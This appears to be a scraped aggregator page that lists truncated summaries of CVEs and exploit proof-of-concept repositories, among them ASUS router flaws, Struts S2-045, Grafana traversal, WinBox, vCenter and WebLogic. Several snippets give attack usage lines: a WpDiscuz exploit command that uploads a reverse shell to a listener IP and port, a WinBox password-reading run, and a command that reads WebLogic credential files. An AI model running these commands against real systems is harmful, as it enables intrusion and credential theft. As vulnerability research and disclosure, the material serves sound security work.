CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow exists in ASUS router modules , which allows an authenticated nearby user to execute arbitrary code . This vulnerability is triggered by uploading a crafted configuration file that exceeds the expected buffer size. For specific details on affected versions and remedi...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 发布时间 2017-03-07 危害级别 高 AV:N/AC:L/Au:N/C:C/I:C/A:C 影响产品 Apache struts =2.3.5，=2.5， CVE Identifier CVE-2017-5638 Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then use...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - Adobe ColdFusion 中存在权限控制不当漏洞，可导致任意文件系统读取 更多信息请参考 ma4ter 博客文章：Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 受影响的产品和版本： 产品| 受影响版本 ---|--- ColdFusion 2023| Update 6 及更早版本 ColdFusion 2021| Update 12 及更早版本 CVSS 评分： 8.2 已遭主动利用： 是 补丁： 是 缓解措施： 否 实验室环境 你可以使用 Adobe 的免费试用版部署...

Metabase_CVE-2021-41277

MetabaseCVE-2021-41277 Descripción Metabase es una plataforma de análisis de datos de código abierto. En las versiones afectadas se ha descubierto un problema de seguridad con el soporte de mapas GeoJSON personalizados admin-settings-maps-custom maps-add a map y una posible inclusión local de...

CVE-2019-12889

CVE-2019-12889 摘要 SailPoint Desktop Password Reset 7.2 存在一个未经身份验证的权限提升漏洞。仅具有本地访问 Windows 登录屏幕权限的用户可以将权限提升至 NT AUTHORITY\System。攻击者需要本地访问该机器才能成功利用此漏洞。攻击者必须将计算机从本地网络/广域网断开，并连接到一个可访问互联网的接入点/网络。此时，攻击者可以执行密码重置功能，这将弹出一个 Web 浏览器。浏览到调用本地 Windows 系统函数（例如文件上传）的网站将暴露本地文件系统。从那里，攻击者可以启动一个特权命令行 shell。 复现步骤： 1...

EUVD-2026-94156

Insertion of Sensitive Information into Log File in certain ASUS router models allows a remote authenticated attacker to obtain DDNS credentials from the system log, potentially enabling modification of DNS settings.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 反向shell上传 基于h3v0x编写的exploit的WpDiscuz 7.0.4漏洞利用程序。 利用该漏洞并上传一个反向PHP shell。灵感来源于Blogger CTF。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用示例：...

cve-2022-44268

CVE-2022-44268 感谢发现此漏洞的研究人员： Bryan Gonzalez and the Ocelot Team 创建一个恶意 PNG 以利用 ImageMagick 7.1.0-40： CVE-2022-44267: 拒绝服务 CVE-2022-44268: 信息泄露 免责声明：本项目作者不对因本项目材料造成的任何可能的损害负责。 环境要求 Python3 PIL（pip install Pillow） 用法 使用 craft.py 制作 PNG： git clone https://github.com/agathanon/cve-2022-44268 cd...

CVE-2021-43798

CVE-2021-43798 Grafana 目录遍历 用于利用 Grafana 目录遍历的简易程序 安装 gem install httparty gem install colorize gem install timeout ruby cve-2021-43798.rb...

CVE-2018-14847

WinboxExploit 这是针对严重 WinBox 漏洞（CVE-2018-14847）的概念验证，该漏洞允许任意读取明文密码的文件。 博客文章 https://n0p.me/winbox-bug-dissection/ 需求 Python 3+ 此脚本不会在 Python 2.x 或更低版本上运行。 使用方法 该脚本通过命令行使用简单的参数即可运行。 WinBox TCP/IP 利用漏洞并读取密码。 python3 WinboxExploit.py PORT 示例： $ python3 WinboxExploit.py 172.17.17.17 Connected to...

CVE-2023-36900

CVE-2023-36900 关于此漏洞：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36900。 分析文章 针对.blf扩展名的Imhex模式 包含CLFS结构声明的头文件 拒绝服务概念验证 针对blf扩展的Imhex模式 之前： 之后： 该模式远非理想，但可能有用。链接 使用方法： File-Import-Pattern File 拒绝服务概念验证 该概念验证需要安装python和pwntools模块。...

CVE-2022-3910

CVE-2022-3910 poc dirtyfile dirtymm...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vCenter 未授权RCE的metasploit利用脚本 准备工作 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

cve-2019-2618

cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 python CVE-2019-2618.py url username password 解密weblogic密码 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...

choronzon

Choronzon - Un fuzzer evolutivo basado en conocimiento Introducción Este documento tiene como objetivo explicar brevemente la teoría detrás de Choronzon. Además, proporciona detalles sobre su funcionamiento interno y cómo se puede extender Choronzon para cumplir con nuevos requisitos. Una visión...

CVE-2024-0757-Exploit

CVE-2024-0757 漏洞利用 描述 WordPress 的 Insert or Embed Articulate Content into WordPress 插件在 4.3000000023 及之前的所有版本中，由于对 zip 压缩包中的文件上传处理不安全，因此存在任意文件上传漏洞。这使得未经验证的攻击者能够在受影响站点的服务器上上传包含 phar 文件的 zip 文件，从而有可能实现远程代码执行。 !IMPORTANT CVSS: 8.8（高危） CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 软件类型: 插件 软件标识:...

CVE-2021-29447

安装及执行顺序 0. 运行 docker $docker-compose up 1. 运行 wordpress.sh 在安装 wordpress 之前，需要对 wp-config.php 文件进行配置。 $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh" 2. 安装 wordpress 进入容器中运行的 wordpress 网站进行安装。 请勿直接复制，请使用 code 视图进行复制。 3. 生成 WAV 文件 生成要上传到媒体服务器的 wav 文件。 $echo -en...

CVE-2025-27591-Below

CVE-2025-27591-Below 📌 描述 这是一个针对 CVE-2025-27591 的 概念验证（PoC） 利用程序，该漏洞是 below 系统监控工具中的一个本地权限提升漏洞。 问题在于以提升权限执行时，对日志文件（/var/log/below/errorroot.log）的不安全处理。通过滥用这一点，攻击者可以执行 符号链接攻击 并将恶意用户注入 /etc/passwd，从而有效获得 root 访问权限。 ⚙️ 受影响 二进制文件 ：/usr/bin/below 要求 ：需要 sudo 权限来运行 below record 测试环境 ：HTB 机器（具体名称保密） 🔧...

shortscan

🌀 Shortscan 一个IIS短文件名枚举工具。 功能 Shortscan旨在快速确定IIS Web服务器上存在哪些具有短文件名的文件。一旦识别出短文件名，该工具将尝试自动识别完整的文件名。 除了标准发现方法外，Shortscan还使用独特的校验和匹配方法来尝试查找长文件名，其中短文件名基于Windows专有的短名称冲突避免校验和算法（关于此研究的更多信息将在日后发布）。 安装 快速安装 使用最新版本的Go: go install github.com/bitquark/shortscan/cmd/shortscan@latest 手动安装 要在本地构建（并可选择安装）： go ge...